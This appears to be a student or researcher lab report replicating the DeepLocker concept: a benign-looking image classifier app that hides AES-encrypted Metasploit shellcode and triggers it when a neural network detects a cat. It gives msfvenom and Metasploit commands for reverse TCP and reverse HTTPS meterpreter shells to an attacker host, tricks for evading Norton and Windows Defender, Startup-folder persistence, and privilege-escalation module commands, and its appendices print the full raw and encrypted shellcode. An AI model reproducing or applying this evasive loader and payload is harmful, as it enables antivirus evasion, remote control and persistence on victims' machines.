How Artificial Intelligence and Encryption Power Evasive and Targeted Malware on a Windows 10 Machine Running the Latest Security
How Artificial Intelligence Can Power Evasive and Targeted Malware Part 1
How Artificial Intelligence Can Power Evasive and Targeted Malware Part 2
Executive Summary
DeepLocker is evasive and targeted malware that was presented by IBM Research as a proof of concept at the Back-Hat convention in 2018. The malware includes three major components, a benign carrier application, a Neural Network (NN) model and a malicious payload. The NN model is used to identify a target and when the target is confirmed it decrypts the malicious payload which is then executed (Kirat, Jang, Stoecklin 2018).
The aim of this work is to test the approach used by DeepLocker and determine whether or not it can evade Windows Defender which includes a Firewall and Norton LifeLock Anti-Virus which includes an Intrusion Prevention System (IPS) on an up to date Windows 10 machine.
The ImageClassifier application presented in this report is a Windows Presentation Foundation (WPF) Graphical User Interface (GUI) application built with Visual Studio. It contains a known malicious payload that when encrypted is not detected by Norton LifeLock or Windows Defender static analysis. Further the ImageClassifier application uses a TensorFlow Neural Network image classification model to trigger decryption and execution when a specific target is identified, this allows the application to evade anti-virus dynamic analysis. In terms of the payloads the Metasploit stageless reverse TCP payload is detected and blocked by the Norton IPS but the staged reverse HTTPS payload is not.
The ImageClassifier application successfully evades both static and dynamic analysis by Windows Defender and Norton LifeLock Anti-Virus and the IPS. When the TensorFlow model identified the predefined target a shell was successfully established on the victim machine. The successful exploit used the staged reverse HTTPS payload which first creates an encrypted connection between the target and attack machines before transferring the balance of the payload and creating the shell.
1. Introduction
IBM Research presented DeepLocker as a proof of concept at the Back-Hat convention in 2018.
DeepLocker includes three major components, a benign carrier application, an AI model and a malicious payload. The AI model is a deep convolutional neural network which is used to identify a target and when the target is confirmed it unlocks and executes the malicious payload (Kirat, Jang, Stoecklin 2018).
The aim of this work is to use the approach outlined by DeepLocker as a template and to test whether or not a malicious application can evade Windows Defender which includes a Firewall and Norton LifeLock Anti-Virus which includes an Intrusion Prevention System (IPS) on an up to date Windows 10 machine. In Section 2 Target and Goals, the victim and attack machines are defined along with the primary and secondary goals. Section 3 Strategy, details background information and the general approach taken. In Section 4 Results, the specific steps, commands and results are presented and the conclusions are presented in Section 5.
2. Target and Goals
The target is an actual Windows 10 machine running version 1909 and OS Build 18363.1082. It includes Windows Defender and also has Norton LifeLock installed and running. The attack machine is Kali running in VMWare Workstation 15 on the Windows 10 machine. The VMWare network connection uses NAT which translates the address of the Kali machine in a private VMnet network to that of the host machine. The target is on the 192.168.1.0/24 network and the attack machine is on the VMnet 192.168.223.0/24 network.
The primary goal is to establish a meterpreter shell on the target machine after evading the virus scanners, firewall and IPS while using a known Metasploit payload. The secondary goals include persistence and privilege escalation. The ImageClassifier application should be able to maintain persistence by creating a shortcut to the executable and placing it in the Windows Startup folder so that it is launched every time the target starts up. Lastly privilege escalation to SYSTEM will be attempted.
3. Strategy
3.1 Reconnaissance
The aim of this report is to exploit a modern up to date machine running up to date security services which is a reflection of what would likely be encountered in a real-world offensive scenario. The operating system and version, IP address and running security services of the target are all defined.
3.2 Evade Anti-Virus, Firewall and IPS
Anti-Virus and malware scanners use static and dynamic detection methods. They often use static signatures for known threats and can use a sandbox environment to detect malicious activity at runtime or execution. The target runs Windows Defender and Norton LifeLock so a Metasploit reverse TCP payload packaged into an exe by Metasploit has no chance of executing on the target, static signatures for most if not all Metasploit payloads are defined in anti-virus scanners. This would require further research to confirm, but it is likely that some or all of the packaging tools, templates, naming conventions, file structure and the paths, links and includes used in and by Metasploit are also detectable by anti-virus scanners.
The known reverse TCP payload that anti-virus scanners can detect will be obfuscated in a benign Windows WPF application built with Visual Studio. The known payload will be encrypted with AES128 to evade the static analysis performed by the anti-virus scanners and it will not be decrypted nor executed until the TensorFlow Neural Network model identifies the predefined target object in an image. Because the decryption and reassembly of the payload is triggered by a specific target it will not execute under normal runtime conditions. This should allow the application to evade the anti-virus sandbox or virtual environment.
3.3 Building the Applications
There are two Windows WPF Applications used in the tests, the Encryption.exe is used to encrypt the Metasploit payloads and the ImageClassifier.exe contains the encrypted shellcode payload as well as a TensorFlow image classification model which is used to trigger the decryption, reassembly and execution of the payload.
Both the applications are simple WPF GUI apps built with Visual Studio against the .NET Core 3.1 Framework. The System.Security.Cryptography library was used for AES-128 encryption and decryption. The Advanced Encryption Standard (AES) is a strong symmetric block cipher that encrypts data in 128-bit blocks. Because the data is encrypted in 128-bit blocks and produces equal sized ciphertexts an Initialization Vector (IV) is required to introduce some randomness into the input (Gibson 2017). AES can use keys of 128, 912 or 256 bits and the implementation used in Encryption.exe uses a 128-bit key and a 128-bit IV. The TensorFlowSharp library and a TensorFlow model were used to identify the target image (de Icaza 2019).
The logic flow for the ImageClassifier application is presented in Figure 1 below. A user on the victim machine is required to download and run the application in the first instance, but if it has been previously run it will automatically start from a shortcut in the Windows Startup folder. Further if the target for the NN has been previously identified it will launch in a headless mode, where there is no window or GUI and is essentially invisible to the user. If the target has not been previously identified it will launch normally with a Main Window and GUI. The user can then paste images into the application and the TensorFlow model will attempt to classify them. If the TensorFlow model detects the predefined target in an image it will trigger a Settings change and create a shortcut in the Startup folder. At this point both the GUI and non-GUI instances of the application would trigger the malicious payload decryption and execution (Smith 2017) and establish a shell connection back to the attack machine. Please see Appendix C and D for relevant code snippets.
Figure 1 ImageClassifier Application Logic Flow Chart
4. Results
In 4.1 a stageless reverse TCP payload was used which was unsuccessful. A staged reverse HTTPS payload was used in 4.2.
4.1 Stageless Reverse TCP Payload
The shellcode for a stageless payload was generated as a C array with the following command
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.223.128 lport=5566 -f c
The above command generates the shellcode as a C unsigned char buf [] {0xfc, 0x48…}. The shellcode was included in the Encryption application as a C# byte [] array. With this byte array just present in a class with nothing pointing to it Norton was able to detect the signature and prevent the application from running. Specifically, the Norton message was ‘Auto-Protect blocked security risk Packed.Generic.347. Your computer is secure’.
In an attempt to get the Encryption application to at least build and run the C# byte array was split into five separate arrays with the intention of breaking the signature up so that Norton could not detect it. That was successful and the application was not prevented from running. Then the AES implementation was used to encrypt the five separate arrays with a key size of 128 bits and an IV of 128 bits.
The five encrypted arrays were then included in the ImageClassifier application which also successfully built and run. Because the AES cipher encrypts in 128-bit blocks each of the five arrays are padded, so after decryption the padding needs to be removed from the end of each array before reassembling the payload. Please see Appendix B.
The ImageClassifier application uses a TensorFlow model to classify images and when it detects a picture of a cat this triggers the decryption, reassembly and execution of the shellcode. In the tests that were run the target for the TensorFlow model to trigger on was defined as a picture of a cat, but it could be anything the model had been trained to classify. When an image that includes a cat is pasted into the application the execution is triggered and it momentarily makes a connection back to the Netcat listener on Kali but then Norton interveneswith ‘A large amount of suspicious outbound traffic has been detected’ message and after that message appears both the ImageClassifier in Windows 10 and Netcat in Kali are terminated.
After inspecting the Norton logs it was evident that the IPS was detecting the reverse shell traffic. As far as I could tell it must have been scanning the TCP segment inside the IP packet and was then able to recognise the traffic as a Metasploit connection. Assuming that to be the case a staged payload in an encrypted connection would have a greater chance of success because it appears as though the Norton IPS is not acting as a man in the middle or proxy.
4.2 Staged Reverse HTTPS Payload
HTTPS uses trusted certificates and Transport Layer Security (TLS) which runs over a TCP connection to establish an encrypted connection between a server and a client or between a Metasploit handler and a target executing a payload. The chain of trust that HTTPS and TLS use between the handler, target and a Certificate Authority (CA) utilizes a cryptographic primitive to sign and verify certificates. This primitive uses asymmetric encryption and a hashing algorithm. The Kali machine which is running the handler or listener uses the public key from a trusted CA to validate the CA’s digital signature on the certificate it was given by the target that is executing the reverse HTTPS payload. The verification is given by
SIGNsk(m) = s —> VERIFYpk(m, s) = Yes or No
sk = secret key
pk = public key
m = message ( the certificate)
s = signature
The digital signature is an encrypted hash value of the contents of the certificate. The Kali machine uses the CA’s public key to decrypt the digital signature which gives a hash value. It then computes the hash value of the certificate’s contents and if the hash values match and the certificate conforms to X509 then it will trust the certificate and proceed to negotiate and share a symmetric session key with the Windows 10 machine.
The staged reverse HTTPS payload generated by Metasploit does require a trusted certificate so that the Kali machine and Windows machine can establish a HTTPS connection (Suyal, 2017). Put another way the TCP/IP implementations in both the Windows and Linux Operating Systems are used to establish the HTTPS connection and for that to succeed the Certificate has to be trusted and conform to X509 standard (Comer 2014)
The Metasploit SSL Impersonate module was used to generate a self-signed certificate using the information in the certificate used by www.google.com. The module then outputs the private key and certificate, which includes the public key, in a pem file which can be used by the handler on Kali and the payload on Windows 10 to establish a HTTPS connection. The handler on Kali uses the public key that is included in the pem file to decrypt the self-signed certificate and then compare the hashes, so in this use case there is no CA as such but because the public key is included on the handler the certificate presented by the payload is trusted.
The following commands were used with the SSL Impersonate module to generate a .pem file which can be used with the handler and in the payload.
use auxiliary/gather/impersonate_ssl
set rhost www.google.com
run
The staged reverse HTTPS payload with the certificate from SSL Impersonate was generated with the following commands. Please see Appendix A for the byte array that is generated.
use multi/handler
use payload/windows/x64/meterpreter/reverse_https
set handlersslcert /root/.msf4/loot/20200908020452_default_172.217.166.132_172.217.166.132__606127.pem
set stagerverifysslcert true
set lhost 192.168.223.128
set lport 443
generate -f c
On Kali the handler was also set up using pem file so that it had access to the public key with the following commands.
use multi/handler
set handlersslcert /root/.msf4/loot/20200908020452_default_172.217.166.132_172.217.166.132__606127.pem
set stagerverifysslcert true
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.223.128
set lport 443
run
Using the payload as generated above and encrypted with AES-128 the ImageClassifier application did evade the scanners and IPS but it failed silently. After the execution of the payload was triggered no shell connection was created.
Mozilla Firefox was used to browse to the handler on the Kali machine at 192.168.223.128 and the ‘Secure Connection Failed - An error occurred during a connection to 192.168.223.128. PR_END_OF_FILE_ERROR’ message was presented. After some research it became clear that this error was received because all of the available cipher suites failed, that is Mozilla and the handler could not agree on a symmetric cipher for the HTTPS session. From the Rapid7 GitHub repository one suggestion was to downgrade the Cipher Suite used by Kali and therefore Mozilla by commenting out the level setting in the /etc/ssl/openssl.cnf file. The following line was commented out.
CipherString=DEFAULT@SECLEVEL=2
Now when an image of a cat is pasted into the ImageClassifier application the meterpreter shell is successfully established on the Windows 10 machine. Please see Figure 2 below.
Figure 2 Meterpreter Shell on the Windows 10 Machine
4.3 Persistence
The next goal was to obtain persistence such that the application would quietly start running in the background whenever the Windows 10 machine is started. This was achieved by using the IWshRuntimeLibrary to create a shortcut and place it in the Windows Startup folder. This was successful and every time Windows starts up the ImageClassifier application is launched. Please see Appendix C for the relevant code snippet.
Further if the TensorFlow model identifies a target image an application Setting is changed to equal the target. There is an if else statement in the OnStartUp() override that checks if the setting is exactly equal to the target and if that is true the application does not create the Main Window GUI but rather launches as a headless application and decrypts, reassembles and executes the reverse HTTPS payload. If the handler is listening a meterpreter shell is established.
4.4 Privilege Escalation
The final goal was to elevate privileges to SYSTEM. Initially the getsystem and getsystem -t 1commands were used, neither of which were successful and failed with ‘Operation Failed Access Denied’.
Windows 10 utilizes User Account Control (UAC) security where applications are limited to using regular account privileges, if an application needs administrator privileges an administrative user has to approve the elevation. For example, when installing a new program, a window will pop up asking for administrative approval.
When Windows 10 is first installed and setup it automatically creates a user account and that is part of the administrators group but is not an administrator. The administrator account is disabled by default.
From getuid the domain/user is MSI/mattg and while the user mattg is part of the administrators group simple commands like net user add and hashdump fail with ‘System error 5 has occurred. Access is denied’.
There are a number of UAC privilege escalation exploits in Metasploit, but it is unlikely any will be successful because nothing can be installed on the target without administrator approval and Norton is excellent at detecting malicious payloads with the scanner and malicious traffic with the IPS.
Nonetheless a number of privilege escalation exploits were attempted and are detailed below.
4.4.1 The Fodhelper UAC bypass exploit was used with the following commands-
background
use exploit/windows/local/bypassuac_fodhelper
set session 1
exploit
The Fodhelper exploit failed with ‘Exploit completed but no session created’ and Norton LifeLock Sonar blocked the fodhelper.exe from executing with the message ‘Sonar Blocked suspicious behaviour’
4.4.2 The Silentcleanup exploit was used with the following commands-
background
use exploit/windows/local/bypassuac_silentcleanup
set session 1
run
Once again Norton blocked this with ‘Auto-Protect blocked security risk CL.Downloader!gen95’
4.4.3 The Windows store reg exploit was used with the following commands-
background
use exploit/windows/local/bypassuac_windows_store_reg
set session 1
run
Norton blocked this with ‘Norton Data Protector blocked multiple attempts by ImageClassifier.exe to alter settings’
4.4.4 A more recent exploit was then attempted, CVE_2020_0787 Bits Arbitrary File Move.
The build version of the target is 18363.1082 which is higher than what the exploit checks for
if (build_num_gemversion >= Gem::Version.new ('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new ('10.0.18363.719')) # Windows 10 v1909
The build version of the target is newer than the upper limit but there is an override to force the exploit which was used below.
The following commands were used,
background
use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
set session 1
set lhost 192.168.223.128
set ForceExploit true
exploit
In the task manager it was evident that the usocorewroker.exe did start but the WindowsCoreDeviceInfo.dll is never uploaded to C:\Windows\System32 which according to the documentation should happen (Willcox, 2020).
After more research it was noted that the BITS service had to be running, the BITS service was started in Task Manager and the above was attempted again without success.
The settings were changed as below but the exploit still fails silently, it was interesting to note that there were no obvious blocks by Norton, there was no pop-up message.
set PAYLOAD windows/x64/meterpreter/bind_tcp
set RHOST 192.168.1.26
set LPORT 9988
set JOB_WAIT_TIME 60
4.4.5 The SMBGhost exploit was attempted with the following commands-
use exploit/windows/local/cve_2020_0796_smbghost
set session 1
run
This was blocked and the Norton message was ‘Norton blocked an attack by OS Attack: Microsoft Server Message Block RCE CVE -2020-0796’
4.4.6 The recent cve_2020_1313 exploit was pushed to GitHub on September 26th 2020.
The following commands were used-
use exploit/windows/local/ windows/local/cve_2020_1313_system_orchestrator
set session 1
run
This was blocked and the Norton message was ‘Auto-Protect blocked security risk Packed.Generic.539’
An attempt using the PowerShell module with the following commands was performed but this returned false-
sessions -I 1
load powershell
powershell_shell
ps > [MSF.Powershell.Meterpreter]::GetSystem()
Lastly an attempt was made to turn Norton and Windows Defender off temporarily using the net stopcommand, but neither is available to be turned off or disabled.
None of the above exploits were successful and SYSTEM privileges could not be obtained. To evade the anti-virus scanners and the IPS a similar approach to that used in the ImageClassifier application would need to be used. Most of the exploits and all of the shell connection traffic was detected by Norton, to get around this I believe the shell traffic would have to be inside an encrypted connection and the exploit code would have to be obfuscated.
5. Conclusions
The primary goal was achieved and a meterpreter shell was successfully established on the Windows 10 machine after evading Norton LifeLock anti-virus and IPS as well as Windows Defender with a known Metasploit payload. This confirms that the approach used by DeepLocker can be used to evade modern and up to date security systems and could be used to exploit a modern operating system in a real-world cyber offence scenario.
The secondary goal of obtaining persistence on the target was also successfully achieved where every time the target machine starts up the application is launched. If the application has previously identified the target a meterpreter shell is established if the handler is listening.
Escalating privileges to SYSTEM was not achieved. Given the approach used this was not surprising in that most of the privilege escalation exploits and all of the shell connection traffic was detected by Norton. It is worth noting that Norton blocked the CVE-2020-1313 system-orchestrator exploit which had only been pushed to the Metasploit Framework GitHub repository on September 26th 2020, just a couple of days before the exploit was attempted. It was manually downloaded and added to Metasploit in Kali.
Even recent exploits are detected by the IPS and the anti-virus scanner and this further provides evidence that the IPS is able to detect Metasploit traffic in the packets and also adds some credibility to the idea that it is likely some or all of the packaging tools, templates, naming conventions, file structure and the paths, links and includes used in and by Metasploit are also detectable by anti-virus scanners.
The source code is in a private GitHub repository which can be shared. If a GitHub username is provided that user can be added as a collaborator.
References
Comer, D. E. (2014). Internetworking with TCP/IP Principles, Protocols and Architecture , 6th Edition. Pearson
de Icaza, M. (2019). TensorFlowSharp . https://github.com/migueldeicaza/TensorFlowSharp
Gibson, D. (2017). Security + Get Certified Get Ahead SY0-501 Study Guide.
Kirat, D., Jang, J., Stoecklin, M. (2018). DeepLocker Concealing Targeted Attacks with AI Locksmithing. Retrieved from https://i.blackhat.com/us-18/Thu-August-9/us-18-Kirat- DeepLocker-Concealing-Targeted-Attacks-with-AI-Locksmithing.pdf
Smith, C. (2017 ) C# file that contains shellcode and bypasses AppLocker via Assembly Load . https://gist.github.com/netbiosX/5f19a3e8762b6e3fd25782d8c37b1663
Suyal, M. (2018). Bypassing Detection for a Reverse Meterpreter Shell.
https://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/
Willcox, G. (2020). Add CVE-2020-0787 - Windows Background Intelligent Transfer Service (BITS) Elevation of Privilege Vulnerability.
https://github.com/rapid7/metasploit-framework/pull/13554
Appendix A
Reverse HTTPS and SSL Shellcode
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a,
0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41,
0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f,
0x85, 0x72, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6,
0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83,
0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e,
0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c,
0x77, 0x26, 0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31,
0xc0, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00,
0x00, 0x00, 0xff, 0xd5, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31,
0x36, 0x38, 0x2e, 0x32, 0x32, 0x33, 0x2e, 0x31, 0x32, 0x38, 0x00, 0x5a, 0x48, 0x89,
0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a,
0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5,
0xe8, 0x28, 0x00, 0x00, 0x00, 0x2f, 0x64, 0x38, 0x51, 0x54, 0x71, 0x78, 0x57, 0x57,
0x74, 0x71, 0x58, 0x4e, 0x39, 0x73, 0x7a, 0x30, 0x6b, 0x71, 0x48, 0x6f, 0x45, 0x51,
0x77, 0x79, 0x4f, 0x73, 0x79, 0x2d, 0x71, 0x6a, 0x2d, 0x51, 0x47, 0x42, 0x61, 0x35,
0x78, 0x32, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53,
0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x50, 0x53, 0x53, 0x49,
0xc7, 0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f,
0x48, 0x89, 0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89,
0xe0, 0x6a, 0x04, 0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00, 0x00, 0x00,
0x00, 0xff, 0xd5, 0x4d, 0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31, 0xc9,
0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5,
0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7, 0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44,
0xf0, 0x35, 0xe0, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02,
0xeb, 0xaa, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x53, 0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89,
0xd1, 0xc1, 0xe2, 0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10, 0x00, 0x00, 0x49, 0xba, 0x58,
0xa4, 0x53, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48,
0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0x00, 0x20, 0x00,
0x00, 0x49, 0x89, 0xf9, 0x49, 0xba, 0x12, 0x96, 0x89, 0xe2, 0x00, 0x00, 0x00, 0x00,
0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07, 0x48,
0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7,
0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
Appendix B
AES-128 Encrypted Reverse HTTPS and SSL Shellcode C# Byte Arrays
//Remove 1
Byte[] blockone = new byte[] {0xA9, 0x43, 0x4B, 0xD0, 0xC1, 0xC3, 0xD7, 0x12, 0xBD, 0xE0, 0xDC, 0x8D, 0xE3, 0x9F, 0xFA, 0xDC};
//Remove 7
Byte[] blocktwo = new byte[]
{0xD1, 0x67, 0xE3, 0xC9, 0x37, 0x63, 0x05, 0x45, 0x2A, 0x5C, 0x17, 0xC3, 0xBF, 0x5A,
0xA8, 0x75, 0x60, 0xC3, 0xCA, 0x58, 0x2D, 0x24, 0xE7, 0x25, 0x60, 0xE6, 0x7D, 0xD0,
0xFA, 0xF3, 0x62, 0x20, 0x6C, 0x81, 0xBE, 0x1F, 0xA8, 0x82, 0xC7, 0x35, 0x15, 0x05,
0x11, 0x25, 0x13, 0xD7, 0x48, 0x5D, 0x79, 0x11, 0x1F, 0xFA, 0xBF, 0xED, 0x36, 0x05,
0x48, 0xBD, 0x40, 0x42, 0x98, 0xB0, 0x02, 0x6D, 0xF3, 0x22, 0xFC, 0x23, 0x69, 0x3E,
0x59, 0xA5, 0x75, 0x99, 0xBF, 0x47, 0x94, 0x8E, 0xDA, 0x19, 0x83, 0x47, 0x39, 0x5B,
0x65, 0x19, 0x6C, 0x25, 0x6E, 0x01, 0x82, 0xDB, 0x5A, 0x69, 0x2E, 0x93, 0x86, 0xA1,
0x4A, 0x00, 0xDE, 0x32, 0x74, 0xC1, 0x55, 0x6F, 0x6D, 0xC9, 0x9F, 0x7D, 0x23, 0xCE,
0x21, 0xCA, 0x87, 0x9C, 0x57, 0xD7, 0xFD, 0x71, 0xDA, 0xA2, 0x0F, 0x8C, 0x07, 0xDF,
0x90, 0xC4, 0x68, 0x3E, 0x01, 0x0A, 0x8C, 0x89, 0xC9, 0x31, 0x41, 0x75, 0x53, 0x02,
0x10, 0x58, 0xE7, 0xAC, 0x56, 0x6E, 0x77, 0x75, 0x14, 0x16, 0xCF, 0x9B, 0xD2, 0x29,
0xB9, 0x4E, 0x60, 0xF3, 0x7D, 0x72};
//Remove 10
Byte[] blockthree = new byte[]
{0x9E, 0x86, 0xDC, 0x13, 0xAB, 0x5C, 0x77, 0x4D, 0x87, 0xC6, 0x47, 0x71, 0x26, 0xC3,
0xB6, 0xA7, 0xF9, 0x50, 0x68, 0x60, 0x0C, 0x8A, 0x54, 0xC4, 0x00, 0xEF, 0x77, 0xDF,
0x12, 0x5C, 0x02, 0x58, 0xFD, 0xBA, 0x56, 0x6C, 0x67, 0x80, 0x10, 0x78, 0x24, 0xF1,
0x61, 0x1A, 0xD5, 0x70, 0xF7, 0xB5, 0x7E, 0x4E, 0xDC, 0xD3, 0xCB, 0x85, 0x98, 0x1C,
0x3C, 0xBA, 0x62, 0xDC, 0x27, 0xA8, 0xE8, 0x70, 0x30, 0x3C, 0xCE, 0xB8, 0x52, 0x19,
0xD8, 0x02, 0x91, 0x71, 0xE4, 0xD4, 0x28, 0x90, 0x2F, 0xD3};
//Remove 0
Byte[] blockfour = new byte[]
{0xCC, 0x0D, 0x09, 0x5D, 0xEB, 0x2A, 0x30, 0xE8, 0x29, 0xC4, 0xDF, 0x3C, 0x1E, 0xF2,
0xC8, 0xD3, 0xAF, 0x96, 0x90, 0x0C, 0x66, 0x1A, 0x43, 0x0A, 0xC6, 0x67, 0xDE, 0xD5,
0x53, 0x58, 0x54, 0xD6, 0xF3, 0xEA, 0xD7, 0x41, 0xD7, 0x78, 0x3D, 0x55, 0x9C, 0x69,
0xBA, 0x59, 0x14, 0xC3, 0xB7, 0xF3, 0x50, 0x27, 0xDF, 0xBA, 0x46, 0x8A, 0xAF, 0x30,
0xE4, 0x49, 0xBD, 0xDD, 0x46, 0x40, 0xA0, 0x9A, 0xAB, 0x92, 0x5C, 0x2A, 0xB2, 0x9F,
0x74, 0x4D, 0x0B, 0xE7, 0x40, 0x57, 0x01, 0xD2, 0x80, 0x39, 0xFC, 0x63, 0x10, 0xA3,
0x19, 0x54, 0x6E, 0x8A, 0x97, 0x29, 0xBF, 0x77, 0xAB, 0x26, 0xB1, 0xC1, 0x64, 0x25,
0x03, 0x44, 0x47, 0x29, 0xF4, 0x90, 0x1E, 0x34, 0xED, 0x65, 0x85, 0x55, 0x07, 0x80 };
//Remove 11
Byte[] blockfive = new byte[]
{0x1A, 0x6B, 0xB8, 0x43, 0x00, 0xFF, 0xF0, 0x38, 0xDB, 0x5E, 0x34, 0xA3, 0xBD, 0xDB,
0x99, 0xA0, 0x41, 0x18, 0x01, 0x11, 0x24, 0xF1, 0x7F, 0x06, 0x6C, 0x84, 0x7D, 0xFF,
0x9F, 0x32, 0x7E, 0x97, 0x1D, 0xD4, 0xC3, 0x5C, 0xCF, 0xAF, 0xDB, 0xAE, 0xC3, 0x43,
0xB3, 0xA9, 0x94, 0x0A, 0x59, 0x02, 0xBD, 0xBC, 0xA2, 0xE0, 0x0D, 0xEB, 0x16, 0xA9,
0xA6, 0xB6, 0xEB, 0x85, 0x0A, 0x0F, 0x06, 0x75, 0xCD, 0xAE, 0xDA, 0x65, 0x67, 0x7A,
0x25, 0x77, 0x51, 0x04, 0x4D, 0x1E, 0xDD, 0xEC, 0x63, 0x59, 0x15, 0x45, 0x51, 0xE7,
0x0A, 0xFB, 0x62, 0x02, 0x93, 0x30, 0x14, 0x8E, 0x5E, 0x2E, 0x76, 0x49, 0x16, 0x55,
0x90, 0x1B, 0x3A, 0x6E, 0x92, 0xF2, 0xA6, 0x84, 0xAB, 0xEA, 0xFA, 0x77, 0x12, 0x7E,
0xB6, 0x5D, 0x10, 0x20, 0x99, 0x0E, 0xC0, 0x2D, 0x0F, 0x43, 0xE9, 0x25, 0xB2, 0xDD,
0x8F, 0xD7, 0xC2, 0x2A, 0xF7, 0xCE, 0x00, 0xA8, 0xB8, 0xBB, 0x62, 0xA7, 0xF2, 0xBE,
0x91, 0x24, 0xC7, 0x88, 0xA6, 0xAD, 0x2E, 0x25, 0x4F, 0x9E, 0x26, 0xE8, 0xF2, 0xA9,
0xEB, 0xD5, 0x9A, 0xD6, 0x74, 0x9A, 0x36, 0x21, 0xF5, 0x90, 0xD5, 0x7B, 0x7C, 0x88,
0x40, 0x0F, 0x99, 0xDD, 0xF1, 0x57, 0x5C, 0x52, 0xF3, 0x08, 0x06, 0x4C, 0x0E, 0x63,
0x42, 0x61, 0x55, 0xFF, 0xEB, 0x18, 0x27, 0x3D, 0xE3, 0xAB, 0xC2, 0xF8, 0x8D, 0x69,
0x00, 0xDC, 0xDF, 0x6A, 0xE1, 0xC5, 0x28, 0x31, 0x62, 0x97, 0xED, 0x00, 0x7C, 0x43,
0x94, 0x46, 0x56, 0x77, 0x0A, 0xCA, 0x78, 0x33, 0xF7, 0x42, 0x34, 0x14, 0xBF, 0x29,
0x0D, 0xA3, 0xD9, 0x65, 0x03, 0x3F, 0xCE, 0xC4, 0xB0, 0xD2, 0xFB, 0x52, 0x87, 0xFA,
0x03, 0xCF, 0xA4, 0x44, 0x8D, 0xB7, 0x30, 0xDA, 0xD7, 0xFE, 0x76, 0x4F, 0xC9, 0xC6,
0x75, 0xE5, 0x82, 0x5A};
